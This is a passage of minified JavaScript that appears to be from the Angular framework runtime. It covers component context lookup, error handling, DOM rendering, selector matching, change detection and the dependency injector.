the application");o=Zi(r,n,!1)}else if(r=$i(n,t),-1==r)return null;const s=zt(n[r]),a=Wi(s),c=a&&!Array.isArray(a)?a:zi(n,r,s);if(i&&void 0===c.component&&(c.component=i,qi(c.component,c)),o&&void 0===c.directives){c.directives=o;for(let t=0;t<o.length;t++)qi(o[t],c)}qi(c.native,c),e=c}}else{const n=t;let r=n;for(;r=r.parentNode;){const t=Wi(r);if(t){let r;if(r=Array.isArray(t)?t:t.lView,!r)return null;const i=$i(r,n);if(i>=0){const t=zt(r[i]),n=zi(r,i,t);qi(t,n),e=n;break}}}}return e||null}function zi(t,e,n){return{lView:t,nodeIndex:e,native:n,component:void 0,directives:void 0,localRefs:void 0}}function Gi(t){let e,n=Wi(t);if(Array.isArray(n)){const r=Xi(n,t);e=Kt(r,n);const i=zi(n,r,e[0]);i.component=t,qi(t,i),qi(i.native,i)}else e=Kt(n.nodeIndex,n.lView);return e}const Ui="__ngContext__";function qi(t,e){t[Ui]=e}function Wi(t){return t[Ui]||null}function Ki(t){const e=Wi(t);return e?Array.isArray(e)?e:e.lView:null}function $i(t,e){const n=t[1];for(let r=20;r<n.bindingStartIndex;r++)if(zt(t[r])===e)return r;return-1}function Qi(t){if(t.child)return t.child;if(t.next)return t.next;for(;t.parent&&!t.parent.next;)t=t.parent;return t.parent&&t.parent.next}function Xi(t,e){const n=t[1].components;if(n)for(let r=0;r<n.length;r++){const i=n[r];if(Kt(i,t)[8]===e)return i}else if(Kt(20,t)[8]===e)return 20;return-1}function Zi(t,e,n){const r=e[1].data[t];let i=r.directiveStart;return 0==i?$:(!n&&2&r.flags&&i++,e.slice(i,r.directiveEnd))}const Yi="ngDebugContext",Ji="ngOriginalError",to="ngErrorLogger";function eo(t){return t[Yi]}function no(t){return t[Ji]}function ro(t,...e){t.error(...e)}class io{constructor(){this._console=console}handleError(t){const e=this._findOriginalError(t),n=this._findContext(t),r=(i=t)&&i[to]||ro;var i;r(this._console,"ERROR",t),e&&r(this._console,"ORIGINAL ERROR",e),n&&r(this._console,"ERROR CONTEXT",n)}_findContext(t){return t?eo(t)||this._findContext(no(t)):null}_findOriginalError(t){let e=t&&no(t);for(;e&&no(e);)e=no(e);return e||null}}const oo={name:"custom-elements"},so={name:"no-errors-schema"},ao=/^>|^->|<!--|-->|--!>|<!-$/g,co=/(<|>)/;function lo(t){return t.replace(ao,t=>t.replace(co,"\u200b$1\u200b"))}function uo(t){return`ng-reflect-${t=function(t){return t.replace(ho,(...t)=>"-"+t[1].toLowerCase())}(t.replace(/[$@]/g,"_"))}`}const ho=/([A-Z])/g;function po(t){try{return null!=t?t.toString().slice(0,30):t}catch(e){return"[ERROR] Exception while trying to serialize the value"}}const fo=(()=>("undefined"!=typeof requestAnimationFrame&&requestAnimationFrame||setTimeout).bind(W))();function go(t){return t.ownerDocument.defaultView}function mo(t){return t.ownerDocument}function yo(t){return t.ownerDocument.body}function bo(t){return t instanceof Function?t():t}var vo=(()=>((vo=vo||{})[vo.Important=1]="Important",vo[vo.DashCase=2]="DashCase",vo))();let _o;function Co(t,e){return _o(t,e)}function wo(t){const e=t[3];return bt(e)?e[3]:e}function xo(t){return function(t){let e=yt(t)?t:Ki(t);for(;e&&!(512&e[2]);)e=wo(e);return e}(t)[8]}function Po(t){return Mo(t[13])}function So(t){return Mo(t[4])}function Mo(t){for(;null!==t&&!bt(t);)t=t[4];return t}function Oo(t,e,n,r,i){if(null!=r){let o,s=!1;bt(r)?o=r:yt(r)&&(s=!0,r=r[0]);const a=zt(r);0===t&&null!==n?null==i?Vo(e,n,a):Fo(e,n,a,i||null,!0):1===t&&null!==n?Fo(e,n,a,i||null,!0):2===t?Zo(e,a,s):3===t&&e.destroyNode(a),null!=o&&function(t,e,n,r,i){const o=n[7];o!==zt(n)&&Oo(e,t,r,o,i);for(let s=10;s<n.length;s++){const i=n[s];Jo(i[1],i,t,e,r,o)}}(e,t,o,n,i)}}function Eo(t,e){return Bt(t)?t.createText(e):t.createTextNode(e)}function To(t,e,n){Bt(t)?t.setValue(e,n):e.textContent=n}function Io(t,e){return t.createComment(lo(e))}function ko(t,e,n){return Bt(t)?t.createElement(e,n):null===n?t.createElement(e):t.createElementNS(n,e)}function Ao(t,e){const n=t[9],r=n.indexOf(e),i=e[3];1024&e[2]&&(e[2]&=-1025,Yt(i,-1)),n.splice(r,1)}function Do(t,e){if(t.length<=10)return;const n=10+e,r=t[n];if(r){const i=r[17];null!==i&&i!==t&&Ao(i,r),e>0&&(t[n-1][4]=r[4]);const o=$n(t,10+e);!function(t,e){Jo(t,e,e[11],2,null,null),e[0]=null,e[6]=null}(r[1],r);const s=o[19];null!==s&&s.detachView(o[1]),r[3]=null,r[4]=null,r[2]&=-129}return r}function No(t,e){if(!(256&e[2])){const n=e[11];Bt(n)&&n.destroyNode&&Jo(t,e,n,3,null,null),function(t){let e=t[13];if(!e)return Ro(t[1],t);for(;e;){let n=null;if(yt(e))n=e[13];else{const t=e[10];t&&(n=t)}if(!n){for(;e&&!e[4]&&e!==t;)yt(e)&&Ro(e[1],e),e=e[3];null===e&&(e=t),yt(e)&&Ro(e[1],e),n=e&&e[4]}e=n}}(e)}}function Ro(t,e){if(!(256&e[2])){e[2]&=-129,e[2]|=256,function(t,e){let n;if(null!=t&&null!=(n=t.destroyHooks))for(let r=0;r<n.length;r+=2){const t=e[n[r]];if(!(t instanceof We)){const e=n[r+1];if(Array.isArray(e))for(let n=0;n<e.length;n+=2){const r=t[e[n]],i=e[n+1];Nt(4,r,i);try{i.call(r)}finally{Nt(5,r,i)}}else{Nt(4,t,e);try{e.call(t)}finally{Nt(5,t,e)}}}}}(t,e),function(t,e){const n=t.cleanup,r=e[7];let i=-1;if(null!==n)for(let o=0;o<n.length-1;o+=2)if("string"==typeof n[o]){const t=n[o+1],s="function"==typeof t?t(e):zt(e[t]),a=r[i=n[o+2]],c=n[o+3];"boolean"==typeof c?s.removeEventListener(n[o],a,c):c>=0?r[i=c]():r[i=-c].unsubscribe(),o+=2}else{const t=r[i=n[o+1]];n[o].call(t)}if(null!==r){for(let t=i+1;t<r.length;t++)r[t]();e[7]=null}}(t,e),1===e[1].type&&Bt(e[11])&&e[11].destroy();const n=e[17];if(null!==n&&bt(e[3])){n!==e[3]&&Ao(n,e);const r=e[19];null!==r&&r.detachView(t)}}}function Lo(t,e,n){return jo(t,e.parent,n)}function jo(t,e,n){let r=e;for(;null!==r&&40&r.type;)r=(e=r).parent;if(null===r)return n[0];if(2&r.flags){const e=t.data[r.directiveStart].encapsulation;if(e===z.None||e===z.Emulated)return null}return Ut(r,n)}function Fo(t,e,n,r,i){Bt(t)?t.insertBefore(e,n,r,i):e.insertBefore(n,r,i)}function Vo(t,e,n){Bt(t)?t.appendChild(e,n):e.appendChild(n)}function Bo(t,e,n,r,i){null!==r?Fo(t,e,n,r,i):Vo(t,e,n)}function Ho(t,e){return Bt(t)?t.parentNode(e):e.parentNode}function zo(t,e,n){return qo(t,e,n)}function Go(t,e,n){return 40&t.type?Ut(t,n):null}let Uo,qo=Go;function Wo(t,e){qo=t,Uo=e}function Ko(t,e,n,r){const i=Lo(t,r,e),o=e[11],s=zo(r.parent||e[6],r,e);if(null!=i)if(Array.isArray(n))for(let a=0;a<n.length;a++)Bo(o,i,n[a],s,!1);else Bo(o,i,n,s,!1);void 0!==Uo&&Uo(o,r,e,n,i)}function $o(t,e){if(null!==e){const n=e.type;if(3&n)return Ut(e,t);if(4&n)return Xo(-1,t[e.index]);if(8&n){const n=e.child;if(null!==n)return $o(t,n);{const n=t[e.index];return bt(n)?Xo(-1,n):zt(n)}}if(32&n)return Co(e,t)()||zt(t[e.index]);{const n=Qo(t,e);return null!==n?Array.isArray(n)?n[0]:$o(wo(t[16]),n):$o(t,e.next)}}return null}function Qo(t,e){return null!==e?t[16][6].projection[e.projection]:null}function Xo(t,e){const n=10+t+1;if(n<e.length){const t=e[n],r=t[1].firstChild;if(null!==r)return $o(t,r)}return e[7]}function Zo(t,e,n){const r=Ho(t,e);r&&function(t,e,n,r){Bt(t)?t.removeChild(e,n,r):e.removeChild(n)}(t,r,e,n)}function Yo(t,e,n,r,i,o,s){for(;null!=n;){const a=r[n.index],c=n.type;if(s&&0===e&&(a&&qi(zt(a),r),n.flags|=4),64!=(64&n.flags))if(8&c)Yo(t,e,n.child,r,i,o,!1),Oo(e,t,i,a,o);else if(32&c){const s=Co(n,r);let c;for(;c=s();)Oo(e,t,i,c,o);Oo(e,t,i,a,o)}else 16&c?ts(t,e,r,n,i,o):Oo(e,t,i,a,o);n=s?n.projectionNext:n.next}}function Jo(t,e,n,r,i,o){Yo(n,r,t.firstChild,e,i,o,!1)}function ts(t,e,n,r,i,o){const s=n[16],a=s[6].projection[r.projection];if(Array.isArray(a))for(let c=0;c<a.length;c++)Oo(e,t,i,a[c],o);else Yo(t,e,a,s[3],i,o,!0)}function es(t,e,n){Bt(t)?t.setAttribute(e,"style",n):e.style.cssText=n}function ns(t,e,n){Bt(t)?""===n?t.removeAttribute(e,"class"):t.setAttribute(e,"class",n):e.className=n}function rs(t,e,n){let r=t.length;for(;;){const i=t.indexOf(e,n);if(-1===i)return i;if(0===i||t.charCodeAt(i-1)<=32){const n=e.length;if(i+n===r||t.charCodeAt(i+n)<=32)return i}n=i+1}}const is="ng-template";function os(t,e,n){let r=0;for(;r<t.length;){let i=t[r++];if(n&&"class"===i){if(i=t[r],-1!==rs(i.toLowerCase(),e,0))return!0}else if(1===i){for(;r<t.length&&"string"==typeof(i=t[r++]);)if(i.toLowerCase()===e)return!0;return!1}}return!1}function ss(t){return 4===t.type&&t.value!==is}function as(t,e,n){return e===(4!==t.type||n?t.value:is)}function cs(t,e,n){let r=4;const i=t.attrs||[],o=function(t){for(let e=0;e<t.length;e++)if($e(t[e]))return e;return t.length}(i);let s=!1;for(let a=0;a<e.length;a++){const c=e[a];if("number"!=typeof c){if(!s)if(4&r){if(r=2|1&r,""!==c&&!as(t,c,n)||""===c&&1===e.length){if(ls(r))return!1;s=!0}}else{const l=8&r?c:e[++a];if(8&r&&null!==t.attrs){if(!os(t.attrs,l,n)){if(ls(r))return!1;s=!0}continue}const u=us(8&r?"class":c,i,ss(t),n);if(-1===u){if(ls(r))return!1;s=!0;continue}if(""!==l){let t;t=u>o?"":i[u+1].toLowerCase();const e=8&r?t:null;if(e&&-1!==rs(e,l,0)||2&r&&l!==t){if(ls(r))return!1;s=!0}}}}else{if(!s&&!ls(r)&&!ls(c))return!1;if(s&&ls(c))continue;s=!1,r=c|1&r}}return ls(r)||s}function ls(t){return 0==(1&t)}function us(t,e,n,r){if(null===e)return-1;let i=0;if(r||!n){let n=!1;for(;i<e.length;){const r=e[i];if(r===t)return i;if(3===r||6===r)n=!0;else{if(1===r||2===r){let t=e[++i];for(;"string"==typeof t;)t=e[++i];continue}if(4===r)break;if(0===r){i+=4;continue}}i+=n?1:2}return-1}return function(t,e){let n=t.indexOf(4);if(n>-1)for(n++;n<t.length;){const r=t[n];if("number"==typeof r)return-1;if(r===e)return n;n++}return-1}(e,t)}function ds(t,e,n=!1){for(let r=0;r<e.length;r++)if(cs(t,e[r],n))return!0;return!1}function hs(t,e){t:for(let n=0;n<e.length;n++){const r=e[n];if(t.length===r.length){for(let e=0;e<t.length;e++)if(t[e]!==r[e])continue t;return!0}}return!1}function ps(t,e){return t?":not("+e.trim()+")":e}function fs(t){let e=t[0],n=1,r=2,i="",o=!1;for(;n<t.length;){let s=t[n];if("string"==typeof s)if(2&r){const e=t[++n];i+="["+s+(e.length>0?'="'+e+'"':"")+"]"}else 8&r?i+="."+s:4&r&&(i+=" "+s);else""!==i&&!ls(s)&&(e+=ps(o,i),i=""),r=s,o=o||!ls(r);n++}return""!==i&&(e+=ps(o,i)),e}const gs={};function ms(t){ys(ie(),re(),Ne()+t,he())}function ys(t,e,n,r){if(!r)if(3==(3&e[2])){const r=t.preOrderCheckHooks;null!==r&&He(e,r,n)}else{const r=t.preOrderHooks;null!==r&&ze(e,r,0,n)}Re(n)}function bs(t,e){return t<<17|e<<2}function vs(t){return t>>17&32767}function _s(t){return 2|t}function Cs(t){return(131068&t)>>2}function ws(t,e){return-131069&t|e<<2}function xs(t){return 1|t}const Ps=(()=>Promise.resolve(null))();function Ss(t,e){const n=t.contentQueries;if(null!==n)for(let r=0;r<n.length;r+=2){const i=n[r],o=n[r+1];if(-1!==o){const n=t.data[o];Pe(i),n.contentQueries(2,e[o],o)}}}function Ms(t,e,n,r,i,o,s,a,c,l){const u=e.blueprint.slice();return u[0]=i,u[2]=140|r,Zt(u),u[3]=u[15]=t,u[8]=n,u[10]=s||t&&t[10],u[11]=a||t&&t[11],u[12]=c||t&&t[12]||null,u[9]=l||t&&t[9]||null,u[6]=o,u[16]=2==e.type?t[16]:u,u}function Os(t,e,n,r,i){let o=t.data[e];if(null===o)o=Es(t,e,n,r,i),Jt.lFrame.inI18n&&(o.flags|=64);else if(64&o.type){o.type=n,o.value=r,o.attrs=i;const t=ce();o.injectorIndex=null===t?-1:t.injectorIndex}return le(o,!0),o}function Es(t,e,n,r,i){const o=ae(),s=ue(),a=t.data[e]=function(t,e,n,r,i,o){return{type:n,index:r,insertBeforeIndex:null,injectorIndex:e?e.injectorIndex:-1,directiveStart:-1,directiveEnd:-1,directiveStylingLast:-1,propertyBindings:null,flags:0,providerIndexes:0,value:i,attrs:o,mergedAttrs:null,localNames:null,initialInputs:void 0,inputs:null,outputs:null,tViews:null,next:null,projectionNext:null,child:null,parent:e,projection:null,styles:null,stylesWithoutHost:null,residualStyles:void 0,classes:null,classesWithoutHost:null,residualClasses:void 0,classBindings:0,styleBindings:0}}(0,s?o:o&&o.parent,n,e,r,i);return null===t.firstChild&&(t.firstChild=a),null!==o&&(s?null==o.child&&null!==a.parent&&(o.child=a):null===o.next&&(o.next=a)),a}function Ts(t,e,n,r){if(0===n)return-1;const i=e.length;for(let o=0;o<n;o++)e.push(r),t.blueprint.push(r),t.data.push(null);return i}function Is(t,e,n){Oe(e);try{const r=t.viewQuery;null!==r&&ua(1,r,n);const i=t.template;null!==i&&Ds(t,e,i,1,n),t.firstCreatePass&&(t.firstCreatePass=!1),t.staticContentQueries&&Ss(t,e),t.staticViewQueries&&ua(2,t.viewQuery,n);const o=t.components;null!==o&&function(t,e){for(let n=0;n<e.length;n++)ia(t,e[n])}(e,o)}catch(r){throw t.firstCreatePass&&(t.incompleteFirstPass=!0,t.firstCreatePass=!1),r}finally{e[2]&=-5,Ae()}}function ks(t,e,n,r){const i=e[2];if(256==(256&i))return;Oe(e);const o=he();try{Zt(e),me(t.bindingStartIndex),null!==n&&Ds(t,e,n,2,r);const s=3==(3&i);if(!o)if(s){const n=t.preOrderCheckHooks;null!==n&&He(e,n,null)}else{const n=t.preOrderHooks;null!==n&&ze(e,n,0,null),Ge(e,0)}if(function(t){for(let e=Po(t);null!==e;e=So(e)){if(!e[2])continue;const t=e[9];for(let e=0;e<t.length;e++){const n=t[e],r=n[3];0==(1024&n[2])&&Yt(r,1),n[2]|=1024}}}(e),function(t){for(let e=Po(t);null!==e;e=So(e))for(let t=10;t<e.length;t++){const n=e[t],r=n[1];Qt(n)&&ks(r,n,r.template,n[8])}}(e),null!==t.contentQueries&&Ss(t,e),!o)if(s){const n=t.contentCheckHooks;null!==n&&He(e,n)}else{const n=t.contentHooks;null!==n&&ze(e,n,1),Ge(e,1)}!function(t,e){const n=t.hostBindingOpCodes;if(null!==n)try{for(let t=0;t<n.length;t++){const r=n[t];if(r<0)Re(~r);else{const i=r,o=n[++t],s=n[++t];_e(o,i),s(2,e[i])}}}finally{Re(-1)}}(t,e);const a=t.components;null!==a&&function(t,e){for(let n=0;n<e.length;n++)na(t,e[n])}(e,a);const c=t.viewQuery;if(null!==c&&ua(2,c,r),!o)if(s){const n=t.viewCheckHooks;null!==n&&He(e,n)}else{const n=t.viewHooks;null!==n&&ze(e,n,2),Ge(e,2)}!0===t.firstUpdatePass&&(t.firstUpdatePass=!1),o||(e[2]&=-73),1024&e[2]&&(e[2]&=-1025,Yt(e[3],-1))}finally{Ae()}}function As(t,e,n,r){const i=e[10],o=!he(),s=$t(e);try{o&&!s&&i.begin&&i.begin(),s&&Is(t,e,r),ks(t,e,n,r)}finally{o&&!s&&i.end&&i.end()}}function Ds(t,e,n,r,i){const o=Ne(),s=2&r;try{Re(-1),s&&e.length>20&&ys(t,e,20,he()),Nt(s?2:0,i),n(r,i)}finally{Re(o),Nt(s?3:1,i)}}function Ns(t,e,n){if(vt(e)){const r=e.directiveEnd;for(let i=e.directiveStart;i<r;i++){const e=t.data[i];e.contentQueries&&e.contentQueries(1,n[i],i)}}}function Rs(t,e,n){!te()||(function(t,e,n,r){const i=n.directiveStart,o=n.directiveEnd;t.firstCreatePass||on(n,e),qi(r,e);const s=n.initialInputs;for(let a=i;a<o;a++){const r=t.data[a],o=wt(r);o&&Xs(e,n,r);const c=bn(e,t,a,n);qi(c,e),null!==s&&Js(0,a-i,c,r,0,s),o&&(Kt(n.index,e)[8]=c)}}(t,e,n,Ut(n,e)),128==(128&n.flags)&&function(t,e,n){const r=n.directiveStart,i=n.directiveEnd,o=n.index,s=Jt.lFrame.currentDirectiveIndex;try{Re(o);for(let n=r;n<i;n++){const r=t.data[n],i=e[n];Ce(n),(null!==r.hostBindings||0!==r.hostVars||null!==r.hostAttrs)&&qs(r,i)}}finally{Re(-1),Ce(s)}}(t,e,n))}function Ls(t,e,n=Ut){const r=e.localNames;if(null!==r){let i=e.index+1;for(let o=0;o<r.length;o+=2){const s=r[o+1],a=-1===s?n(e,t):t[s];t[i++]=a}}}function js(t){const e=t.tView;return null===e||e.incompleteFirstPass?t.tView=Fs(1,null,t.template,t.decls,t.vars,t.directiveDefs,t.pipeDefs,t.viewQuery,t.schemas,t.consts):e}function Fs(t,e,n,r,i,o,s,a,c,l){const u=20+r,d=u+i,h=function(t,e){const n=[];for(let r=0;r<e;r++)n.push(r<t?null:gs);return n}(u,d),p="function"==typeof l?l():l;return h[1]={type:t,blueprint:h,template:n,queries:null,viewQuery:a,declTNode:e,data:h.slice().fill(null,u),bindingStartIndex:u,expandoStartIndex:d,hostBindingOpCodes:null,firstCreatePass:!0,firstUpdatePass:!0,staticViewQueries:!1,staticContentQueries:!1,preOrderHooks:null,preOrderCheckHooks:null,contentHooks:null,contentCheckHooks:null,viewHooks:null,viewCheckHooks:null,destroyHooks:null,cleanup:null,contentQueries:null,components:null,directiveRegistry:"function"==typeof o?o():o,pipeRegistry:"function"==typeof s?s():s,firstChild:null,schemas:c,consts:p,incompleteFirstPass:!1}}function Vs(t,e,n){if(Bt(t))return t.selectRootElement(e,n===z.ShadowDom);let r="string"==typeof e?t.querySelector(e):e;return r.textContent="",r}function Bs(t,e,n,r){const i=ha(e);null===n?i.push(r):(i.push(n),t.firstCreatePass&&pa(t).push(r,i.length-1))}function Hs(t,e,n){for(let r in t)if(t.hasOwnProperty(r)){const i=t[r];(n=null===n?{}:n).hasOwnProperty(r)?n[r].push(e,i):n[r]=[e,i]}return n}function zs(t,e,n,r,i,o,s,a){const c=Ut(e,n);let l,u=e.inputs;!a&&null!=u&&(l=u[r])?(ma(t,n,l,r,i),_t(e)&&function(t,e){const n=Kt(e,t);16&n[2]||(n[2]|=64)}(n,e.index)):3&e.type&&(r=function(t){return"class"===t?"className":"for"===t?"htmlFor":"formaction"===t?"formAction":"innerHtml"===t?"innerHTML":"readonly"===t?"readOnly":"tabindex"===t?"tabIndex":t}(r),i=null!=s?s(i,e.value||"",r):i,Bt(o)?o.setProperty(c,r,i):Qe(r)||(c.setProperty?c.setProperty(r,i):c[r]=i))}function Gs(t,e,n,r){let i=!1;if(te()){const o=function(t,e,n){const r=t.directiveRegistry;let i=null;if(r)for(let o=0;o<r.length;o++){const s=r[o];ds(n,s.selectors,!1)&&(i||(i=[]),ln(on(n,e),t,s.type),wt(s)?(Ws(t,n),i.unshift(s)):i.push(s))}return i}(t,e,n),s=null===r?null:{"":-1};if(null!==o){i=!0,$s(n,t.data.length,o.length);for(let t=0;t<o.length;t++){const e=o[t];e.providersResolver&&e.providersResolver(e)}let r=!1,a=!1,c=Ts(t,e,o.length,null);for(let i=0;i<o.length;i++){const l=o[i];n.mergedAttrs=Xe(n.mergedAttrs,l.hostAttrs),Qs(t,n,e,c,l),Ks(c,l,s),null!==l.contentQueries&&(n.flags|=8),(null!==l.hostBindings||null!==l.hostAttrs||0!==l.hostVars)&&(n.flags|=128);const u=l.type.prototype;!r&&(u.ngOnChanges||u.ngOnInit||u.ngDoCheck)&&((t.preOrderHooks||(t.preOrderHooks=[])).push(n.index),r=!0),!a&&(u.ngOnChanges||u.ngDoCheck)&&((t.preOrderCheckHooks||(t.preOrderCheckHooks=[])).push(n.index),a=!0),c++}!function(t,e){const n=e.directiveEnd,r=t.data,i=e.attrs,o=[];let s=null,a=null;for(let c=e.directiveStart;c<n;c++){const t=r[c],n=t.inputs,l=null===i||ss(e)?null:ta(n,i);o.push(l),s=Hs(n,c,s),a=Hs(t.outputs,c,a)}null!==s&&(s.hasOwnProperty("class")&&(e.flags|=16),s.hasOwnProperty("style")&&(e.flags|=32)),e.initialInputs=o,e.inputs=s,e.outputs=a}(t,n)}s&&function(t,e,n){if(e){const r=t.localNames=[];for(let t=0;t<e.length;t+=2){const i=n[e[t+1]];if(null==i)throw new b("301",`Export of name '${e[t+1]}' not found!`);r.push(e[t],i)}}}(n,r,s)}return n.mergedAttrs=Xe(n.mergedAttrs,n.attrs),i}function Us(t,e,n,r,i,o){const s=o.hostBindings;if(s){let n=t.hostBindingOpCodes;null===n&&(n=t.hostBindingOpCodes=[]);const o=~e.index;(function(t){let e=t.length;for(;e>0;){const n=t[--e];if("number"==typeof n&&n<0)return n}return 0})(n)!=o&&n.push(o),n.push(r,i,s)}}function qs(t,e){null!==t.hostBindings&&t.hostBindings(1,e)}function Ws(t,e){e.flags|=2,(t.components||(t.components=[])).push(e.index)}function Ks(t,e,n){if(n){if(e.exportAs)for(let r=0;r<e.exportAs.length;r++)n[e.exportAs[r]]=t;wt(e)&&(n[""]=t)}}function $s(t,e,n){t.flags|=1,t.directiveStart=e,t.directiveEnd=e+n,t.providerIndexes=e}function Qs(t,e,n,r,i){t.data[r]=i;const o=i.factory||(i.factory=Pt(i.type)),s=new We(o,wt(i),null);t.blueprint[r]=s,n[r]=s,Us(t,e,0,r,Ts(t,n,i.hostVars,gs),i)}function Xs(t,e,n){const r=Ut(e,t),i=js(n),o=t[10],s=oa(t,Ms(t,i,null,n.onPush?64:16,r,e,o,o.createRenderer(r,n),null,null));t[e.index]=s}function Zs(t,e,n,r,i,o){const s=Ut(t,e);Ys(e[11],s,o,t.value,n,r,i)}function Ys(t,e,n,r,i,o,s){if(null==o)Bt(t)?t.removeAttribute(e,i,n):e.removeAttribute(i);else{const a=null==s?v(o):s(o,r||"",i);Bt(t)?t.setAttribute(e,i,a,n):n?e.setAttributeNS(n,i,a):e.setAttribute(i,a)}}function Js(t,e,n,r,i,o){const s=o[e];if(null!==s){const t=r.setInput;for(let e=0;e<s.length;){const i=s[e++],o=s[e++],a=s[e++];null!==t?r.setInput(n,a,i,o):n[o]=a}}}function ta(t,e){let n=null,r=0;for(;r<e.length;){const i=e[r];if(0!==i)if(5!==i){if("number"==typeof i)break;t.hasOwnProperty(i)&&(null===n&&(n=[]),n.push(i,t[i],e[r+1])),r+=2}else r+=2;else r+=4}return n}function ea(t,e,n,r){return new Array(t,!0,!1,e,null,0,r,n,null,null)}function na(t,e){const n=Kt(e,t);if(Qt(n)){const t=n[1];80&n[2]?ks(t,n,t.template,n[8]):n[5]>0&&ra(n)}}function ra(t){for(let n=Po(t);null!==n;n=So(n))for(let t=10;t<n.length;t++){const e=n[t];if(1024&e[2]){const t=e[1];ks(t,e,t.template,e[8])}else e[5]>0&&ra(e)}const e=t[1].components;if(null!==e)for(let n=0;n<e.length;n++){const r=Kt(e[n],t);Qt(r)&&r[5]>0&&ra(r)}}function ia(t,e){const n=Kt(e,t),r=n[1];(function(t,e){for(let n=e.length;n<t.blueprint.length;n++)e.push(t.blueprint[n])})(r,n),Is(r,n,n[8])}function oa(t,e){return t[13]?t[14][4]=e:t[13]=e,t[14]=e,e}function sa(t){for(;t;){t[2]|=64;const e=wo(t);if(xt(t)&&!e)return t;t=e}return null}function aa(t){for(let e=0;e<t.components.length;e++){const n=t.components[e],r=Ki(n),i=r[1];As(i,r,i.template,n)}}function ca(t,e,n){const r=e[10];r.begin&&r.begin();try{ks(t,e,t.template,n)}catch(i){throw ga(e,i),i}finally{r.end&&r.end()}}function la(t){aa(t[8])}function ua(t,e,n){Pe(0),e(t,n)}const da=Ps;function ha(t){return t[7]||(t[7]=[])}function pa(t){return t.cleanup||(t.cleanup=[])}function fa(t,e,n){return(null===t||wt(t))&&(n=function(t){for(;Array.isArray(t);){if("object"==typeof t[1])return t;t=t[0]}return null}(n[e.index])),n[11]}function ga(t,e){const n=t[9],r=n?n.get(io,null):null;r&&r.handleError(e)}function ma(t,e,n,r,i){for(let o=0;o<n.length;){const s=n[o++],a=n[o++],c=e[s],l=t.data[s];null!==l.setInput?l.setInput(c,i,r,a):c[a]=i}}function ya(t,e,n){const r=Gt(e,t);To(t[11],r,n)}function ba(t,e,n){let r=n?t.styles:null,i=n?t.classes:null,o=0;if(null!==e)for(let s=0;s<e.length;s++){const t=e[s];"number"==typeof t?o=t:1==o?i=p(i,t):2==o&&(r=p(r,t+": "+e[++s]+";"))}n?t.styles=r:t.stylesWithoutHost=r,n?t.classes=i:t.classesWithoutHost=i}function va(t){const e=Gi(t);ca(e[1],e,t)}function _a(t){!function(t,e){if(0===t.flags&&t.clean==Ps){let e;t.flags|=1,t.clean=new Promise(t=>e=t),t.scheduler(()=>{if(1&t.flags&&(t.flags&=-2,aa(t)),2&t.flags){t.flags&=-3;const e=t.playerHandler;e&&e.flushPlayers()}t.clean=Ps,e(null)})}}(sa(Gi(t))[8])}const Ca=new Nn("INJECTOR",-1);class wa{get(t,e=sr){if(e===sr){const e=new Error(`NullInjectorError: No provider for ${h(t)}!`);throw e.name="NullInjectorError",e}return e}}const xa=new Nn("Set Injector scope."),Pa={},Sa={};let Ma;function Oa(){return void 0===Ma&&(Ma=new wa),Ma}function Ea(t,e=null,n=null,r){const i=Ta(t,e,n,r);return i._resolveInjectorDefTypes(),i}function Ta(t,e=null,n=null,r){return new Ia(t,n,e||Oa(),r)}class Ia{constructor(t,e,n,r=null){this.parent=n,this.records=new Map,this.injectorDefTypes=new Set,this.onDestroy=new Set,this._destroyed=!1;const i=[];e&&Wn(e,n=>this.processProvider(n,t,e)),Wn([t],t=>this.processInjectorType(t,[],i)),this.records.set(Ca,Da(void 0,this));const o=this.records.get(xa);this.scope=null!=o?o.value:null,this.source=r||("object"==typeof t?null:h(t))}get destroyed(){return this._destroyed}destroy(){this.assertNotDestroyed(),this._destroyed=!0;try{this.onDestroy.forEach(t=>t.ngOnDestroy())}finally{this.records.clear(),this.onDestroy.clear(),this.injectorDefTypes.clear()}}get(t,e=sr,n=D.Default){this.assertNotDestroyed();const r=pr(this),i=L(void 0);try{if(!(n&D.SkipSelf)){let e=this.records.get(t);if(void 0===e){const n=("function"==typeof(o=t)||"object"==typeof o&&o instanceof Nn)&&M(t);e=n&&this.injectableDefInScope(n)?Da(ka(t),Pa):null,this.records.set(t,e)}if(null!=e)return this.hydrate(t,e)}return(n&D.Self?Oa():this.parent).get(t,e=n&D.Optional&&e===sr?null:e)}catch(s){if("NullInjectorError"===s.name){if((s[cr]=s[cr]||[]).unshift(h(t)),r)throw s;return Cr(s,t,"R3InjectorError",this.source)}throw s}finally{L(i),pr(r)}var o}_resolveInjectorDefTypes(){this.injectorDefTypes.forEach(t=>this.get(t))}toString(){const t=[];return this.records.forEach((e,n)=>t.push(h(n))),`R3Injector[${t.join(", ")}]`}assertNotDestroyed(){if(this._destroyed)throw new Error("Injector has already been destroyed.")}processInjectorType(t,e,n){if(!(t=m(t)))return!1;let r=E(t);const i=null==r&&t.ngModule||void 0,o=void 0===i?t:i,s=-1!==n.indexOf(o);if(void 0!==i&&(r=E(i)),null==r)return!1;if(null!=r.imports&&!s){let t;n.push(o);try{Wn(r.imports,r=>{this.processInjectorType(r,e,n)&&(void 0===t&&(t=[]),t.push(r))})}finally{}if(void 0!==t)for(let e=0;e<t.length;e++){const{ngModule:n,providers:r}=t[e];Wn(r,t=>this.processProvider(t,n,r||$))}}this.injectorDefTypes.add(o);const a=Pt(o)||(()=>new o);this.records.set(o,Da(a,Pa));const c=r.providers;if(null!=c&&!s){const e=t;Wn(c,t=>this.processProvider(t,e,c))}return void 0!==i&&void 0!==t.providers}processProvider(t,e,n){let r=Ra(t=m(t))?t:m(t&&t.provide);const i=Na(o=t)?Da(void 0,o.useValue):Da(Aa(o),Pa);var o;if(Ra(t)||!0!==t.multi)this.records.get(r);else{let e=this.records.get(r);e||(e=Da(void 0,Pa,!0),e.factory=()=>br(e.multi),this.records.set(r,e)),r=t,e.multi.push(t)}this.records.set(r,i)}hydrate(t,e){return e.value===Pa&&(e.value=Sa,e.value=e.factory()),"object"==typeof e.value&&e.value&&null!==(n=e.value)&&"object"==typeof n&&"function"==typeof n.ngOnDestroy&&this.onDestroy.add(e.value),e.value;var n}injectableDefInScope(t){if(!t.providedIn)return!1;const e=m(t.providedIn);return"string"==typeof e?"any"===e||e===this.scope:this.injectorDefTypes.has(e)}}function ka(t){const e=M(t),n=null!==e?e.factory:Pt(t);if(null!==n)return n;if(t instanceof Nn)throw new Error(`Token ${h(t)} is missing a \u0275prov definition.`);if(t instanceof Function)return function(t){const e=t.length;if(e>0){const n=Qn(e,"?");throw new Error(`Can't resolve all parameters for 